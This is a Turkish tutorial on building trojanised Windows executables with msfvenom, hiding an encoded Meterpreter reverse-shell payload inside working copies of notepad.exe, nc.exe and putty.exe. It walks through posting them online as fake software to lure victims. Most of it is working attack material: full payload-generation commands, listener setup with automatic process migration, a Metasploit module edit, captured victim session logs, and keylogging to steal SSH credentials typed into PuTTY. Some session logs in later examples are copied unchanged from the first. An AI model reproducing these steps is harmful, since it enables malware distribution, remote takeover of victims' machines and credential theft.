Msfvenom ile Virüslü Payload Oluşturma ve Sosyal Mühendislik Yordamıyla Sızma

Msfpayload tool'u payload'ları belirlenen formatta (C, Ruby, Javascript,…) çıktılamaya, msfencode tool'u ise payload çıktısını belirlenen encoding tekniği ile encode'lamaya yarar. Msfvenom ise bu iki tool'un yapabildiği payload çıktılama ve encode'lama işlemlerinin her ikisini birden yapabilen tool'dur. Detaylı açıklamalar için bkz. http://www.includekarabuk.com/kategoriler/cesitliSizmaTeknikleri/Metasploit-Detay-Bilgiler.php

Uygulama

(+) Birebir denenmiştir ve başarıyla uygulanmıştır.

Bu uygulamada msfvenom ile seçtiğimiz bir metasploit framework payload'unu exe formatında çıktılayacağız ve shikata_ga_nai encoding tekniğiyle encode'layacağız. Ardından ilave edilmiş -x parametresiyle piyasada legal ve zararsız olan uygulamalardan birinin exe'sini göstereceğiz ve -k parametresiyle de bu legal / zararsız yazılımın içerisine exe formatında oluşturduğumuz ve ardından encode'ladığımız payload'u legal yazılımın çalışması bozulmayacak şekilde enjekte edeceğiz (Not: Parametrelerin daha detaylı açıklaması kullanılırken verilecektir). Sonra ise bu payload'umuzu hangi legal yazılımın şablonuyla oluşturmuşsak onun adıyla (örn; "Microsoft Office 2018 Full Türkçe" gibi) ve palavralarla internete servis ettiğimizi ve kurbanların da indirdiğini varsayacağız. Ardından payload'umuzu çalıştıran her bir kurban sisteminde oturum elde edip sızma işlemini gerçekleştirmiş olacağız.

Gereksinimler

Kali Linux 2018.1 (64-bit)	// Saldırgan Sistem
Windows XP SP2 TR (32-bit)	// Hedef Sistem 1
Windows 10 Enterprise (64-bit) [Tubitak Laptop Workstation]	// Hedef Sistem 2
Windows Server 2012 R2 (64-bit)	// Hedef Sistem 3

i) Sosyal Mühendislik ile Sızma Uygulaması # Örnek 1

Bu denemede meterpreter payload'umuzu exe formatında çıktılayıp ardından shikata_ga_nai ile encode'ladıktan sonra "notepad.exe" adlı programın içerisine enjekte edeceğiz. Daha sonra dinleme moduna geçeceğiz ve virüslü notepad uygulamamızı internette bir forum sitesine koyduğumuzu varsayacağız. Ardından kurbanlar teker teker bu virüslü uygulamayı sistemlerine indirecekler ve çalıştırdıklarında teker teker session'lar gelecek.

Not: notepad.exe uygulaması Kali Linux'ta yer almadığından Windows XP'nin sistem dosyaları içerisinde yer alan zararsız notepad.exe uygulaması kopyala yapıştır suretiyle Kali'ye alınmıştır.

Kali Linux 2018:

// Meterpreter payload'u encode'lanır ve sonra Notepad.exe'nin içine enjekte edilir.

```
> msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86
--platform windows -e x86/shikata_ga_nai -i 5 -b "\x00" -f exe -x Desktop/notepad.exe -k -o
Desktop/notepad_viruslu.exe
```

Çıktı:

Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai succeeded with size 387 (iteration=1)
x86/shikata_ga_nai succeeded with size 414 (iteration=2)
x86/shikata_ga_nai succeeded with size 441 (iteration=3)
x86/shikata_ga_nai succeeded with size 468 (iteration=4)
x86/shikata_ga_nai chosen with final size 468
Payload size: 468 bytes
Final size of exe file: 111104 bytes

Saved as: Desktop/notepad_viruslu.exe

Parametre açıklamarı;

-p	payload ismini alır
-a	architecture (mimari 32 bit mi 64 bit mi) bilgisini alır
--platform	payload'un çalıştırılacağı sistemin işletim sistemi tür bilgisini alır
-e	encoding tekniğinin ismini alır
-i	encoding işleminin iterasyon sayısını alır
-b	encoding sırasında türeyen gereksiz karakterlerin (bad char'ların) neler olduğu bilgisini alır ve otomatize bir şekilde silerek payload'un boyutunu minimize eder
-f	En son oluşacak payload çıktısının formatının ne olacağı bilgisini alır
-x	Payload çıktısının hangi zararsız legal yazılımın şablonunda olacağı bilgisini alır
-k	Payload çıktısının belirtilen zararsız legal yazılımı şablonu içerisine enjekte edildiğinde legal yazılımın çalışırlığını sürdürmesi (keep) direktifini verir
-o	En son oluşan çıktının dosya ismi bilgisini alır

Oluşan payload'un ismini notepad_viruslu.exe'den notepad.exe yapalım. Böylece payload hazır. Şimdi dinleme moduna geçelim.

Kali Linux 2018:

// Dinleme moduna geçilir.

msfconsole
msf>use exploit/multi/handler
msf>set payload windows/meterpreter/reverse_tcp
msf>set lhost <local IP>
msf>set lport <local port>
msf>set **AutoRunScript** post/windows/manage/migrate
msf>set **NAME** explorer.exe
msf>set **ExitOnSession** false
msf>exploit -j

Çıktı:

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 172.16.3.73:443

msf exploit(multi/handler) >

msfconsole komut açıklamaları;

AutoRunScript	Bu parametre ile mevcut modülümüz çalışırken ekstradan otomatikmen bir modülün daha çalışabilmesi sağlanmaktadır. Bu örnekte bir post-exploitation modülü olan migrate modülü kullanılmıştır. Bu modülün tercih edilmesinin nedeni kurbanlar virüslü notepad.exe payload'unu çalıştırdıklarında gelen session'lar notepad.exe process'i ömrüne sahip olacaklardır ve bizim gelen session sonrası meterpreter komutu olan migrate ile session'ı manuel olarak meterpreter komutu migrate ile taşıma işlemimiz sırasında kurbanın önce davranıp notepad.exe'yi kapatması ihtimali vardır. Bu olası durumda aldığımız session'ı kaybetmiş olacağımızdan bu durumun önüne olabildiğince geçmek için manuel yaptığımız migrate işlemini otomatize bir şekilde yapmak daha avantajlıdır. Bu nedenle ekstradan çalışacak modül olarak migrate tercih edilmiştir.
NAME	Bu parametre migrate modülünün bir parametresidir. Migrate modülünün hedef sistemdeki hangi process'e taşıma işlemi yapılacağı bilgisini alır. Bu örnekte explorer.exe process'i isim olarak konmuştur. Böylece session elde edilir edilmez migrate modülü mevcut session'ı çalıştığı process'ten çok daha uzun ömürlü olan explorer.exe process'ine taşıyacaktır.
ExitOnSession	Bu parametre hedef bir sistemde session elde edildiğinde mevcut modülün çalışmasını (bu örnek için dinleme moduna sokan multi/handler modülünün çalışmasını) durdurup durdurmayacağımızı belirtmemizi sağlar. Varsayılan olarak true olduğu için birinci session geldiği an bizi dinleme modundan çıkaracaktır ve diğer gelecek session'ları alamaz duruma sokacaktır. Biz bu uygulamada birden fazla session alma işlemini yapacağımız için ExitOnSession parametresini (yani Session Alındığı Durumda Çıkış Yap parametresini) false yapacağız. Böylece birinci session geldiği an session'ı alacağız ve dinleme modunda kalmaya devam edeceğiz. Ardından gelecek session'ları ise dinleme modundan çıkmadan sırasıyla alıp birer birer stoklayacağız.

(-) Uyarı

~~~~~~

Payload'umuza şablon program olarak belirlediğimiz notepad.exe bir problem üretti. multi/handler'ımız session'ı aldığında migrate modülü bir tür loop'a girip sürekli session migrate etme işlemi yapmaya başladı. Bu ise bir dünya bozuk session elde edilmesine neden oldu (Neredeyse yüzlerce…) Bunun muhtemel nedeni post-exploitation modülü olan migrate modülünün kaynak kodlarında temporary process olarak notepad.exe'nin belirtilmiş olmasındandır. Biz payload'umuzu notepad.exe olarak hazırladığımız için migrate modülü temporary process olarak kendinde tanımlı notepad.exe dolayısıyla migrate işleminde bir tür kısır döngüye girmekte. Bu
~~~~~~

sorunu aşmak için, migrate modülümüzü döngüden kurtarmak için kaynak kodundaki temporary process ismi kısmına “notepad.exe” yerine “cmd.exe” koyulmuştur.

> gedit /usr/share/metasploit-framework/modules/post/windows/manage/migrate.rb

migrate.rb

```
…
…
…
# Creates a temp notepad.exe to migrate.
def create_temp_proc()
  cmd ="cmd.exe"      # Önceden “notepad.exe” ydi.
  proc = session.sys.process.execute(cmd, nil, 'Hidden' => true })
  return proc.pid
end
```

Bu şekilde notepad.exe şablonu ile oluşmuş payload’umuz sorunsuz bir şekilde çalışmıştır.
~~~~~~

Şimdi payload’u internete koyup kurbanların indirdiğini varsayalım. Kurbanlar inen notepad.exe programına çift tıkladıklarında Kali Linux 2018’de msfconsole arayüzünde session’ların elde edildiğine dair çıktılar görünecektir.

// Kurban sistemlerde tetiklenen payload’lar (notepad.exe’ler) oturumları sırasıyla verir.

Çıktı:

```
msf exploit(multi/handler) >

[*] Sending stage (179779 bytes) to 172.16.3.77
[*] Meterpreter session 1 opened (172.16.3.73:443 -> 172.16.3.77:1044) at 2018-11-14
01:21:08 -0500
[*] Session ID 1 (172.16.3.73:443 -> 172.16.3.77:1044) processing AutoRunScript
'post/windows/manage/migrate'
[*] Running module against PENTEST-WINXP
[*] Current server process: notepad.exe (2788)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2884
[+] Successfully migrated to process 2884



[*] Sending stage (179779 bytes) to 172.16.3.105
[*] Meterpreter session 2 opened (172.16.3.73:443 -> 172.16.3.105:49159) at 2018-11-14
01:21:09 -0500
[*] Session ID 2 (172.16.3.73:443 -> 172.16.3.105:49159) processing AutoRunScript 'post/
windows/manage/migrate'
[*] Running module against WIN-VJ7UU9G4VTO
[*] Current server process: notepad.exe (812)
```
~~~~~~

[*] Spawning notepad.exe process to migrate to
[+] Migrating to 772
[+] Successfully migrated to process 772

[*] Sending stage (179779 bytes) to 172.16.3.111
[*] **Meterpreter session 3 opened** (172.16.3.73:443 -> 172.16.3.111:5914) at 2018-11-14 01:21:10 -0500
[*] Session ID 3 (172.16.3.73:443 -> 172.16.3.111:5914) processing AutoRunScript 'post/windows/manage/migrate'
[*] Running module against SGELPENTEST01
[*] Current server process: notepad.exe (1996)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 12892
[+] Successfully migrated to process 12892

((((Bir kere ENTER lanır))))

msf exploit(multi/handler) > ((((Konsol arayüzümüz tekrar gelir)))))

Session'lar notepad.exe process'inden explorer.exe process'ine taşındıklarında notepad.exe process'i sonlanacağı için kurbanların ekranındaki notepad penceresi otomatikmen birkaç saniye içerisinde kapanacaktır.

Migrate işlemleri sonrası session'ları sıralayıp herhangi birine girerek meterpreter payload'unun sunduğu imkanlar adedince zararlı faaliyetlere girişebiliriz.

// Meterpreter oturumları elde edildikten sonra oturumlarla alakalı işlemlere başlanır.

msf exploit(multi/handler) > sessions // Elde edilen session'ları sıralar
msf exploit(multi/handler) > sessions -i 4 // ID'si belirtilen session'a girilir
meterpreter > shell // Komut satırı devralınır

C:\Users\Documents and Settings\Desktop> dir // Hedef sistem dosyaları sıralanır
C:\Users\Documents and Settings\Desktop> exit // Komut satırından çıkılır

meterpreter > background // Meterpreter oturumu background a alınır
msf exploit(multi/handler) > // Dilenilen başka session'a geçilir

ii) Sosyal Mühendislik ile Sızma Uygulaması # Örnek 2

Bu denemede meterpreter payload'umuzu exe formatında çıktılayıp ardından shikata_ga_nai ile encode'ladıktan sonra görsel arayüzü olmayan bir exe programın ("nc.exe"nin) içerisine enjekte edeceğiz. Daha sonra dinleme moduna geçeceğiz ve virüslü görsel arayüzü olmayan exe programımızı internette bir forum sitesine koyduğumuzu varsayacağız. Ardından kurbanlar teker teker bu virüslü uygulamayı sistemlerine indirecekler ve çalıştırdıklarında teker teker session'lar gelecek.

Not: nc.exe için Kali Linux 2018 ‘de /usr/share/windows-binaries/ dizini altında bulunan nc.exe binary’si kullanılmıştır.

Kali Linux 2018:

// Meterpreter payload’u encode’lanır ve sonra legal nc.exe’nin içine enjekte edilir.

> msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform windows -e x86/shikata_ga_nai -i 5 -b "\x00" -f exe -x /usr/share/windows-binaries/nc.exe -k -o Desktop/nc_viruslu.exe

Çıktı:

Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai succeeded with size 387 (iteration=1)
x86/shikata_ga_nai succeeded with size 414 (iteration=2)
x86/shikata_ga_nai succeeded with size 441 (iteration=3)
x86/shikata_ga_nai succeeded with size 468 (iteration=4)
x86/shikata_ga_nai chosen with final size 468
Payload size: 468 bytes
Final size of exe file: 111104 bytes

Saved as: Desktop/nc_viruslu.exe

Parametre açıklamarı;

-p	payload ismini alır
-a	architecture (mimari 32 bit mi 64 bit mi) bilgisini alır
--platform	payload’un çalıştırılacağı sistemin işletim sistemi tür bilgisini alır
-e	encoding tekniğinin ismini alır
-i	encoding işleminin iterasyon sayısını alır
-b	encoding sırasında türeyen gereksiz karakterlerin (bad char’ların) neler olduğu bilgisini alır ve otomatize bir şekilde silerek payload’un boyutunu minimize eder
-f	En son oluşacak payload çıktısının formatının ne olacağı bilgisini alır
-x	Payload çıktısının hangi zararsız legal yazılımın şablonunda olacağı bilgisini alır
-k	Payload çıktısının belirtilen zararsız legal yazılımı şablonu içerisine enjekte edildiğinde legal yazılımın çalışırlığını sürdürmesi (keep) direktifini verir
-o	En son oluşan çıktının dosya ismi bilgisini alır

Oluşan payload’un ismini nc_viruslu.exe’den nc.exe yapalım. Böylece payload hazır. Şimdi önceki dinleme modu ve session artıklarını sonlandıralım ve tekrar dinleme moduna geçelim.

Kali Linux 2018:

// Dinleme moduna geçilir.

msf>sessions -k 1,2,3 // ID'si 1 , 2 ve 3 olan session'lar sonlanır.
msf>jobs -k 0 // ID'si 0 olan jobs (yani multi/handler) sonlanır.
msf>use exploit/multi/handler // Tekrar dinleme moduna geçmek için modül seçilir
msf>set payload windows/meterpreter/reverse_tcp
msf>set lhost <local IP>
msf>set lport <local port>
msf>set **AutoRunScript** post/windows/manage/migrate
msf>set **NAME** explorer.exe
msf>set **ExitOnSession** false
msf>exploit -j // Dinleme moduna geçilir

Çıktı:

[*] Exploit running as background job 1.
[*] Started reverse TCP handler on 172.16.3.73:443
msf exploit(multi/handler) >

msfconsole komut açıklamaları;

AutoRunScript	Bu parametre ile mevcut modülümüz çalışırken ekstradan otomatikmen bir modülün daha çalışabilmesi sağlanmaktadır. Bu örnekte bir post-exploitation modülü olan migrate modülü kullanılmıştır. Bu modülün tercih edilmesinin nedeni kurbanlar virüslü notepad.exe payload'unu çalıştırdıklarında gelen session'lar notepad.exe process'i ömrüne sahip olacaklardır ve bizim gelen session sonrası meterpreter komutu olan migrate ile session'ı manuel olarak meterpreter komutu migrate ile taşıma işlemimiz sırasında kurbanın önce davranıp notepad.exe'yi kapatması ihtimali vardır. Bu olası durumda aldığımız session'ı kaybetmiş olacağımızdan bu durumun önüne olabildiğince geçmek için manuel yaptığımız migrate işlemini otomatize bir şekilde yapmak daha avantajlıdır. Bu nedenle ekstradan çalışacak modül olarak migrate tercih edilmiştir.
NAME	Bu parametre migrate modülünün bir parametresidir. Migrate modülünün hedef sistemdeki hangi process'e taşıma işlemi yapılacağı bilgisini alır. Bu örnekte explorer.exe process'i isim olarak konmuştur. Böylece session elde edilir edilmez migrate modülü mevcut session'ı çalıştığı process'ten çok daha uzun ömürlü olan explorer.exe process'ine taşıyacaktır.
ExitOnSession	Bu parametre hedef bir sistemde session elde edildiğinde mevcut modülün çalışmasını (bu örnek için dinleme moduna sokan multi/handler modülünün çalışmasını) durdurup durdurmayacağımızı

belirtmemizi sağlar. Varsayılan olarak true olduğu için birinci session geldiği an bizi dinleme modundan çıkaracaktır ve diğer gelecek session'ları alamaz duruma sokacaktır. Biz bu uygulamada birden fazla session alma işlemini yapacağımız için ExitOnSession parametresini (yani Session Alındığı Durumda Çıkış Yap parametresini) false yapacağız. Böylece birinci session geldiği an session'ı alacağız ve dinleme modunda kalmaya devam edeceğiz. Ardından gelecek session'ları ise dinleme modundan çıkmadan sırasıyla alıp birer birer stoklayacağız.

Şimdi payload'u internete koyup kurbanların indirdiğini varsayalım. Kurbanlar inen nc.exe programına çift tıkladıklarında Kali Linux 2018'de msfconsole arayüzünde session'ların elde edildiğine dair çıktılar görünecektir.

// Kurban sistemlerde tetiklenen payload'lar (nc.exe'ler) oturumları sırasıyla verir.

Çıktı:

msf exploit(multi/handler) >

[*] Sending stage (179779 bytes) to 172.16.3.77
[*] **Meterpreter session 1 opened** (172.16.3.73:443 -> 172.16.3.77:1044) at 2018-11-14 01:21:08 -0500
[*] Session ID 4 (172.16.3.73:443 -> 172.16.3.77:1044) processing AutoRunScript 'post/windows/manage/migrate'
[*] Running module against PENTEST-WINXP
[*] Current server process: notepad.exe (2788)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2884
[+] Successfully migrated to process 2884

[*] Sending stage (179779 bytes) to 172.16.3.105
[*] **Meterpreter session 2 opened** (172.16.3.73:443 -> 172.16.3.105:49159) at 2018-11-14 01:21:09 -0500
[*] Session ID 5 (172.16.3.73:443 -> 172.16.3.105:49159) processing AutoRunScript 'post/windows/manage/migrate'
[*] Running module against WIN-VJ7UU9G4VTO
[*] Current server process: notepad.exe (812)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 772
[+] Successfully migrated to process 772

[*] Sending stage (179779 bytes) to 172.16.3.111
[*] **Meterpreter session 3 opened** (172.16.3.73:443 -> 172.16.3.111:5914) at 2018-11-14 01:21:10 -0500
[*] Session ID 6 (172.16.3.73:443 -> 172.16.3.111:5914) processing AutoRunScript 'post/windows/manage/migrate'

[*] Running module against SGELPENTEST01
[*] Current server process: notepad.exe (1996)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 12892
[+] Successfully migrated to process 12892

((((Bir kere ENTER lanır))))

msf exploit(multi/handler) > ((((Konsol arayüzümüz tekrar gelir)))))

Session'lar nc.exe process'inden explorer.exe process'ine taşındıklarında nc.exe process'i sonlanacağı için kurbanların ekranındaki nc.exe CMD ekranı otomatikmen birkaç saniye içerisinde kapanacaktır.

Migrate işlemleri sonrası session'ları sıralayıp herhangi birine girerek meterpreter payload'unun sunduğu imkanlar adedince zararlı faaliyetlere girişebiliriz.

// Meterpreter oturumları elde edildikten sonra oturumlarla alakalı işlemlere başlanır.

```
msf exploit(multi/handler) > sessions                 // Elde edilen session'ları sıralar
msf exploit(multi/handler) > sessions -i 4            // ID'si belirtilen session'a girilir
meterpreter > shell                                   // Komut satırı devralınır

C:\Users\Documents and Settings\Desktop> dir    // Hedef sistem dosyaları sıralanır
C:\Users\Documents and Settings\Desktop> exit   // Komut satırından çıkılır

meterpreter > background                              // Meterpreter oturumu background a alınır
msf exploit(multi/handler) >                          // Dilenilen başka session'a geçilir
```

ii) Sosyal Mühendislik ile Sızma Uygulaması # Örnek 3

Bu denemede meterpreter payload'umuzu exe formatında çıktılayıp ardından shikata_ga_nai ile encode'ladıktan sonra görsel arayüzü olan bir exe programın ("putty.exe"nin) içerisine enjekte edeceğiz. Daha sonra dinleme moduna geçeceğiz ve virüslü görsel arayüzü olan exe programımızı internette bir forum sitesine koyduğumuzu varsayacağız. Ardından kurbanlar teker teker bu virüslü uygulamayı sistemlerine indirecekler ve çalıştırdıklarında teker teker session'lar gelecek.

Not: putty.exe resmi sitesi https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html adresinden temin edilmiştir ve Kali linux 2018'e indirilmiştir.

Kali Linux 2018:

// Meterpreter payload'u encode'lanır ve sonra legal putty.exe'nin içine enjekte edilir.

```
> msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86
--platform windows -e x86/shikata_ga_nai -i 5 -b "\x00" -f exe -x /usr/share/windows-
```

binaries/putty.exe -k -o Desktop/putty_viruslu.exe

Çıktı:

Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai succeeded with size 387 (iteration=1)
x86/shikata_ga_nai succeeded with size 414 (iteration=2)
x86/shikata_ga_nai succeeded with size 441 (iteration=3)
x86/shikata_ga_nai succeeded with size 468 (iteration=4)
x86/shikata_ga_nai chosen with final size 468
Payload size: 468 bytes
Final size of exe file: 111104 bytes

Saved as: Desktop/putty_viruslu.exe

Parametre açıklamarı;

-p	payload ismini alır
-a	architecture (mimari 32 bit mi 64 bit mi) bilgisini alır
--platform	payload'un çalıştırılacağı sistemin işletim sistemi tür bilgisini alır
-e	encoding tekniğinin ismini alır
-i	encoding işleminin iterasyon sayısını alır
-b	encoding sırasında türeyen gereksiz karakterlerin (bad char'ların) neler olduğu bilgisini alır ve otomatize bir şekilde silerek payload'un boyutunu minimize eder
-f	En son oluşacak payload çıktısının formatının ne olacağı bilgisini alır
-x	Payload çıktısının hangi zararsız legal yazılımın şablonunda olacağı bilgisini alır
-k	Payload çıktısının belirtilen zararsız legal yazılımı şablonu içerisine enjekte edildiğinde legal yazılımın çalışırlığını sürdürmesi (keep) direktifini verir
-o	En son oluşan çıktının dosya ismi bilgisini alır

Oluşan payload'un ismini putty_viruslu.exe'den putty.exe yapalım. Böylece payload hazır. Şimdi önceki dinleme modu ve session artıklarını sonlandıralım ve tekrar dinleme moduna geçelim.

Kali Linux 2018:

// Dinleme moduna geçilir.

msf>sessions -k 4,5,6 // ID'si 4 , 5 ve 6 olan session'lar sonlanır.
msf>jobs -k 1 // ID'si 0 olan jobs (yani multi/handler) sonlanır.
msf>use exploit/multi/handler // Tekrar dinleme moduna geçmek için modül seçilir
msf>set payload windows/meterpreter/reverse_tcp
msf>set lhost <local IP>
msf>set lport <local port>
msf>set **AutoRunScript** post/windows/manage/migrate
msf>set **NAME** explorer.exe
msf>set **ExitOnSession** false
msf>exploit -j // Dinleme moduna geçilir

Çıktı:

```
[*] Exploit running as background job 1.
[*] Started reverse TCP handler on 172.16.3.73:443
msf exploit(multi/handler) >
```

msfconsole komut açıklamaları;

AutoRunScript	Bu parametre ile mevcut modülümüz çalışırken ekstradan otomatikmen bir modülün daha çalışabilmesi sağlanmaktadır. Bu örnekte bir post-exploitation modülü olan migrate modülü kullanılmıştır. Bu modülün tercih edilmesinin nedeni kurbanlar virüslü notepad.exe payload'unu çalıştırdıklarında gelen session'lar notepad.exe process'i ömrüne sahip olacaklardır ve bizim gelen session sonrası meterpreter komutu olan migrate ile session'ı manuel olarak meterpreter komutu migrate ile taşıma işlemimiz sırasında kurbanın önce davranıp notepad.exe'yi kapatması ihtimali vardır. Bu olası durumda aldığımız session'ı kaybetmiş olacağımızdan bu durumun önüne olabildiğince geçmek için manuel yaptığımız migrate işlemini otomatize bir şekilde yapmak daha avantajlıdır. Bu nedenle ekstradan çalışacak modül olarak migrate tercih edilmiştir.
NAME	Bu parametre migrate modülünün bir parametresidir. Migrate modülünün hedef sistemdeki hangi process'e taşıma işlemi yapılacağı bilgisini alır. Bu örnekte explorer.exe process'i isim olarak konmuştur. Böylece session elde edilir edilmez migrate modülü mevcut session'ı çalıştığı process'ten çok daha uzun ömürlü olan explorer.exe process'ine taşıyacaktır.
ExitOnSession	Bu parametre hedef bir sistemde session elde edildiğinde mevcut modülün çalışmasını (bu örnek için dinleme moduna sokan multi/handler modülünün çalışmasını) durdurup durdurmayacağımızı belirtmemizi sağlar. Varsayılan olarak true olduğu için birinci session geldiği an bizi dinleme modundan çıkaracaktır ve diğer gelecek session'ları alamaz duruma sokacaktır. Biz bu uygulamada birden fazla session alma işlemini yapacağımız için ExitOnSession parametresini (yani Session Alındığı Durumda Çıkış Yap parametresini) false yapacağız. Böylece birinci session geldiği an session'ı alacağız ve dinleme modunda kalmaya devam edeceğiz. Ardından gelecek session'ları ise dinleme modundan çıkmadan sırasıyla alıp birer birer stoklayacağız.

Şimdi payload'u internete koyup kurbanların indirdiğini varsayalım. Kurbanlar inen putty.exe programına çift tıkladıklarında Kali Linux 2018'de msfconsole arayüzünde session'ların elde edildiğine dair çıktılar görünecektir.

// Kurban sistemlerde tetiklenen payload’lar (putty.exe’ler) oturumları sırasıyla verir.

Çıktı:

msf exploit(multi/handler) >

[*] Sending stage (179779 bytes) to 172.16.3.77
[*] **Meterpreter session 1 opened** (172.16.3.73:443 -> 172.16.3.77:1044) at 2018-11-14 01:21:08 -0500
[*] Session ID 7 (172.16.3.73:443 -> 172.16.3.77:1044) processing AutoRunScript 'post/windows/manage/migrate'
[*] Running module against PENTEST-WINXP
[*] Current server process: notepad.exe (2788)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2884
[+] Successfully migrated to process 2884

[*] Sending stage (179779 bytes) to 172.16.3.105
[*] **Meterpreter session 2 opened** (172.16.3.73:443 -> 172.16.3.105:49159) at 2018-11-14 01:21:09 -0500
[*] Session ID 8 (172.16.3.73:443 -> 172.16.3.105:49159) processing AutoRunScript 'post/windows/manage/migrate'
[*] Running module against WIN-VJ7UU9G4VTO
[*] Current server process: notepad.exe (812)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 772
[+] Successfully migrated to process 772

[*] Sending stage (179779 bytes) to 172.16.3.111
[*] **Meterpreter session 3 opened** (172.16.3.73:443 -> 172.16.3.111:5914) at 2018-11-14 01:21:10 -0500
[*] Session ID 9 (172.16.3.73:443 -> 172.16.3.111:5914) processing AutoRunScript 'post/windows/manage/migrate'
[*] Running module against SGELPENTEST01
[*] Current server process: notepad.exe (1996)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 12892
[+] Successfully migrated to process 12892

((((Bir kere ENTER lanır))))

msf exploit(multi/handler) > ((((Konsol arayüzümüz tekrar gelir)))))

Session’lar putty.exe process’inden explorer.exe process’ine taşındıklarında putty.exe process’i sonlanacağı için kurbanların ekranındaki putty yazılımı pencereesi otomatikmen birkaç saniye içerisinde kapanacaktır.

Migrate işlemleri sonrası session'ları sıralayıp herhangi birine girerek meterpreter payload'unun sunduğu imkanlar adedince zararlı faaliyetlere girişebiliriz.

// Meterpreter oturumları elde edildikten sonra oturumlarla alakalı işlemlere başlanır.

```
msf exploit(multi/handler) > sessions                 // Elde edilen session'ları sıralar
msf exploit(multi/handler) > sessions -i 4            // ID'si belirtilen session'a girilir
meterpreter > shell                                   // Komut satırı devralınır

C:\Users\Documents and Settings\Desktop> dir          // Hedef sistem dosyaları sıralanır
C:\Users\Documents and Settings\Desktop> exit         // Komut satırından çıkılır

meterpreter > background                              // Meterpreter oturumu background a alınır
msf exploit(multi/handler) >                          // Dilenilen başka session'a geçilir
```

Not:

Aslında kurbanların ekranında Putty.exe yazılımının session migrate işlemi sonucu otomatikmen kapanması olayı yerine kullanıcıya putty yazılımını kullanma imkanı verebiliriz. Yani migrate işlemi yapmayıp kullanıcı ekranında Putty'nin arayüzünden putty'nin yeteneklerini sorunsuzca kullanabilir. Bu arada arkada putty.exe process'inin ayrı bir thread'i olarak çalışan meterpreter payload'umuz ise bize zararlı faaliyetleri gerçekleştirme imkanı sunacaktır.

Putty yazılımının ekrandan kaybolmaması, yani session migration işleminin yapılmaması için AutoRunScript ve NAME parametrelerini unset etmek yeterlidir. ExitOnession parametresi ise kalmalıdır ki birden fazla makineden gelen session'ların her birini alabilelim.

// Dinleme moduna geçilir. (Bu sefer otomatize migrate yapan modül kullanılmaz)

Kali Linux 2018:

```
msf>sessions -k 7,8,9                 // ID'si 7 , 8 ve 9 olan session'lar sonlanır.
msf>jobs -k 2                         // ID'si 2 olan jobs (yani multi/handler) sonlanır.
msf>use exploit/multi/handler         // Tekrar dinleme moduna geçmek için modül seçilir
msf>set payload windows/meterpreter/reverse_tcp
msf>set lhost <local IP>
msf>set lport <local port>
msf>set AutoRunScript post/windows/manage/migrate
msf>set NAME explorer.exe
msf>set ExitOnSession false
msf>exploit -j                        // Dinleme moduna geçilir
```

Çıktı:

```
[*] Exploit running as background job 2.
[*] Started reverse TCP handler on 172.16.3.73:443
```

msf exploit(multi/handler) >

Putty.exe payload’u kurban sistemlerde çalıştırıldığında aşağıdaki session elde etme çıktılar ekrana yansır:

// Kurban sistemlerde tetiklenen payload’lar (putty.exe’ler) oturumları sırasıyla verir.

Çıktı:

msf exploit(multi/handler) >

[*] Sending stage (179779 bytes) to 172.16.3.77
[*] Meterpreter session 1 opened (172.16.3.73:443 -> 172.16.3.77:1044) at 2018-11-14 01:21:08 -0500

[*] Sending stage (179779 bytes) to 172.16.3.105
[*] Meterpreter session 2 opened (172.16.3.73:443 -> 172.16.3.105:49159) at 2018-11-14 01:21:09 -0500

[*] Sending stage (179779 bytes) to 172.16.3.111
[*] Meterpreter session 3 opened (172.16.3.73:443 -> 172.16.3.111:5914) at 2018-11-14 01:21:10 -0500

((((Bir kere ENTER lanır))))

msf exploit(multi/handler) > ((((Konsol arayüzümüz tekrar gelir)))))

Kurbanların ekranında yer alan putty programı açık ve kullanımda iken biz örneğin girilen tuşlamaları (meterpreter’in keylogrecorder komutu gibi) log’layıp bize gönderecek işlemleri gerçekleştirip putty’ye girilen kritik mahiyetteki ssh türü bilgileri elde edebiliriz.

```
msf exploit(multi/handler) > sessions              // Elde edilen session’ları sıralar
msf exploit(multi/handler) > sessions -i 7         // ID’si belirtilen session’a girilir
meterpreter > run keylogrecorder                   // Tuş log’lamaya başlanır
meterpreter > background                           // Meterpreter oturumu background a alınır
msf exploit(multi/handler) >                       // Dilenilen başka session’a geçilir
```

(*) Seri Bir Şekilde Peşisıra Gelen Session’ları Yakalayamama Problemi Hk.

~~~~~~

(+) Birebir gözlemlenmiştir ve çözüm birebir uygulanıp başarılı olunmuştur.

Nadiren de olsa birden fazla sistemden seri bir şekilde ters kabuk bağlantıları geldiğinde bu bağlantılardan birini (veya birkaçını) listener'ın AutoRunScript'tindeki migrate modülü nedeniyle yakalayamadığı tespit edilmiştir. Deneyimlediğim üzere 3 kurban makinede peşisıra seri bir şekilde payload'ları çalıştırdığımda multi/handler listener'ın 3 session'dan birini çalışır halde yakalayamadığını iki kez müşahade etmiş bulunmaktayım. Her zaman olmasa da denemelerim sonucunda nadiren bu olay gerçekleşmekte. Ancak bu sorun tolere edilebilmekte. Şöyle ki bu
~~~~~~

